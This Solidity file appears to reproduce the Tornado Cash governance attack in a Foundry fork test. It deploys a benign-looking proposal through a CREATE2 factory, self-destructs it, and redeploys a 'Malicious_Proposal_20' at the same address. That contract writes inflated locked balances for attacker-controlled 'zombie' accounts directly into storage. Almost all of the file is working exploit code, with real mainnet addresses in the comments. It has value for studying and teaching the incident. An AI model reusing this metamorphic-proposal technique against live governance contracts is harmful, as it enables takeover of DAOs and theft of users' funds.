1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.17;
import {Ownable} from "./AttackerOwnable.sol"; import "./TornadoGovernance_rep.interface.sol"; import {IERC20} from "../../interfaces/IERC20.sol"; import "forge-std/Test.sol";
contract MetaDeployer is Ownable { address public proposalAddr; address public proposalFactoryAddress; bool public deployMaliciousProposal;
/** * @dev Modifier to ensure that the first 20 bytes of a submitted salt match * those of the calling account. This provides protection against the salt * being stolen by frontrunners or other attackers. * @param salt bytes32 The salt value to check against the calling address. */
modifier containsCaller(bytes32 salt) { require( address(bytes20(salt)) == msg.sender, "Invalid salt - first 20 bytes of the salt must match calling address." ); _; }
// This function implements the logic behind the deployment for a proposal via a factory // contract // First, the factory contract is deployed with Create2 and then the latter deploys the // proposal with Create // More details: // https://explorer.phalcon.xyz/tx/eth/0xa7d20ccdbc2365578a106093e82cc9f6ec5d03043bb6a00114c0ad5d03620122?line=0&debugLine=0 // Method called after: 0xce40d339 in the attacker's contract factory
function createProposalWithFactory(bytes32 _salt, bool _deployMaliciousProposal) public payable containsCaller(_salt) returns (address proposalContractAddress, address FactoryRealAddr) { //write the global variable deployMaliciousProposal = _deployMaliciousProposal;
// determine the address of the transient contract. address factoryAddressBycalc = getFactoryAddress(_salt);
//create the factory FactoryRealAddr = address(new FactoryContract{salt: _salt}());
require( FactoryRealAddr == factoryAddressBycalc, "Failed to deploy transient contract using given salt and init code." );
proposalContractAddress = _getProposalAddress(factoryAddressBycalc); proposalAddr = proposalContractAddress; proposalFactoryAddress = FactoryRealAddr; }
// Precompute with create2 function getFactoryAddress(bytes32 salt) public view returns (address) { return address( uint160( uint256( keccak256( abi.encodePacked( hex"ff", address(this), salt, keccak256(type(FactoryContract).creationCode) ) ) ) ) ); }
function _getProposalAddress(address factoryAddressBycalc) internal pure returns (address){ return address( uint160( uint256( keccak256( abi.encodePacked( bytes1(0xd6), bytes1(0x94), factoryAddressBycalc, bytes1(0x01) ) ) ) ) ); }
function emergencyStop() external onlyOwner { console2.log("Triggering destruction of factory and proposal..."); FactoryContract(proposalFactoryAddress).emergencyStop(); console2.log("Factory and proposal destroyed."); } }
contract FactoryContract is Ownable{ // The owner of this contract will be the metaDeployer address public metaDeployerAddr; address public proposalAddr;
constructor(){ metaDeployerAddr = msg.sender;
//transfer ownership to the metaDeployer _transferOwnership(metaDeployerAddr);
// deploy the proposal address proposalContractAddr; bool deployMaliciousProposal = IMetaDeployer(msg.sender).deployMaliciousProposal();
if(!deployMaliciousProposal){ console2.log("deploying initial proposal"); proposalContractAddr = address(new Proposal_20()); } else { console2.log("deploying malicious proposal"); proposalContractAddr = address(new Malicious_Proposal_20()); }
require( proposalContractAddr != address(0), "Proposal contract address cannot be zero" ); proposalAddr = proposalContractAddr; }
function emergencyStop() external onlyOwner { console2.log("Destorying proposal and factory"); IMaliciousSelfDestruct(proposalAddr).emergencyStop(); selfdestruct(payable(owner())); } }
contract Proposal_20 is Ownable { function getNullifiedTotal(address[4] memory relayers) public returns (uint256) { uint256 nullifiedTotal;
address _registryAddress = 0x58E8dCC13BE9780fC42E8723D8EaD4CF46943dF2;
for (uint8 x = 0; x < relayers.length; x++) { nullifiedTotal += IRelayerRegistry(_registryAddress).getRelayerBalance(relayers[x]); }
return nullifiedTotal; }
function executeProposal() external { address[4] memory VIOLATING_RELAYERS = [ 0xcBD78860218160F4b463612f30806807Fe6E804C, // thornadope.eth 0x94596B6A626392F5D972D6CC4D929a42c2f0008c, // 0xgm777.eth 0x065f2A0eF62878e8951af3c387E4ddC944f1B8F4, // 0xtorn365.eth 0x18F516dD6D5F46b2875Fd822B994081274be2a8b // abc321.eth ];
uint256 NULLIFIED_TOTAL_AMOUNT = getNullifiedTotal(VIOLATING_RELAYERS);
address _registryAddress = 0x58E8dCC13BE9780fC42E8723D8EaD4CF46943dF2; address _stakingAddress = 0x2FC93484614a34f26F7970CBB94615bA109BB4bf;
IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[0]); IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[1]); IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[2]); IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[3]);
IStakingRewards(_stakingAddress).withdrawTorn(NULLIFIED_TOTAL_AMOUNT); }
function emergencyStop() public onlyOwner { console2.log("Destroying proposal..."); selfdestruct(payable(0)); } }
contract Malicious_Proposal_20 is Ownable { function getNullifiedTotal(address[4] memory relayers) public returns (uint256) { uint256 nullifiedTotal;
address _registryAddress = 0x58E8dCC13BE9780fC42E8723D8EaD4CF46943dF2;
for (uint8 x = 0; x < relayers.length; x++) { nullifiedTotal += IRelayerRegistry(_registryAddress).getRelayerBalance(relayers[x]); }
return nullifiedTotal; }
function executeProposal() external { address[4] memory VIOLATING_RELAYERS = [ 0xcBD78860218160F4b463612f30806807Fe6E804C, // thornadope.eth 0x94596B6A626392F5D972D6CC4D929a42c2f0008c, // 0xgm777.eth 0x065f2A0eF62878e8951af3c387E4ddC944f1B8F4, // 0xtorn365.eth 0x18F516dD6D5F46b2875Fd822B994081274be2a8b // abc321.eth ];
uint256 NULLIFIED_TOTAL_AMOUNT = getNullifiedTotal(VIOLATING_RELAYERS);
address _registryAddress = 0x58E8dCC13BE9780fC42E8723D8EaD4CF46943dF2; address _stakingAddress = 0x2FC93484614a34f26F7970CBB94615bA109BB4bf;
IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[0]); IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[1]); IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[2]); IRelayerRegistry(_registryAddress).nullifyBalance(VIOLATING_RELAYERS[3]);
IStakingRewards(_stakingAddress).withdrawTorn(NULLIFIED_TOTAL_AMOUNT);
// Meaning that the addresses were somehow added as immutables or hardcoded
// We need to calculate the lockedBalanceSlot so we can then calculate the offset for each minion // mapping: lockedBalances[account] = value, lockedBalances at 59 (0x3b) // The attacker knew the addresses of the zombies in advance as they were deployed before // Addresses for 5 zombies deployed locally in the TornadoCash_GovFoundryFork test address[5] memory zombies = [ 0x9Da940b2Fd184E5c39CC0aE358B380C125a12158, 0x60A5d1b2Ae271557c0da3f8dC4b4cFcb73D55784, 0x0bA2c44fAc23fe39EbB66dF4aA02641C67372E78, 0xfdd66B307434ADd7a7043075e30751f842Ec2f12, 0xC31add2bAF18796DC6E7660EE4AB06b3E5571642 ];
// Addresses for 5 zombies deployed by the attacker on mainnet // address[5] memory zombies = [ // 0xb4d47EE99E132e441Ae3467EB7D70F06d61b10C9, // 0x57400EB021F940B258F925c57cD39F240B7366F2, // 0xbD23c3ed3DB8a2D07C52F7C6700fDf0888f4f730, // 0x548Fd6e5239e9Ce96F3B63F9EEeAd8C461609dc5, // 0x6dD8C3C6ADD0F403167bF8d2E527A544464744Bb // ];
for (uint256 i = 0; i < zombies.length; i++) { address curMinion = zombies[i]; uint256 amount = 10_000 ether; writeSlot(curMinion, amount, 0x3b); } }
function getStorageSlot(address account, uint256 slot) public pure returns (bytes32 hashSlot) { assembly { // Store account in memory scratch space mstore(0, account) // Store slot number in memory after the account mstore(32, slot) // Get the hash from previously stored account and slot hashSlot := keccak256(0, 64) } }
// Write the slot for a mapping key, the initial mapping slot must be known (storage stack) function writeSlot(address account, uint256 value, uint256 slot) public { bytes32 slotHash = getStorageSlot(account, slot); assembly { sstore(slotHash, value) } }
//for test function getStorageValue(address account, uint256 slot) public view returns (uint256 result) { assembly { // Store num in memory scratch space (note: lookup "free memory pointer" if you need to allocate space) mstore(0, account) // Store slot number in scratch space after num mstore(32, slot) // Create hash from previously stored num and slot let hash := keccak256(0, 64) // Load mapping value using the just calculated hash result := sload(hash) } }
function emergencyStop() public onlyOwner { console2.log("Destroying proposal..."); selfdestruct(payable(0)); } }
|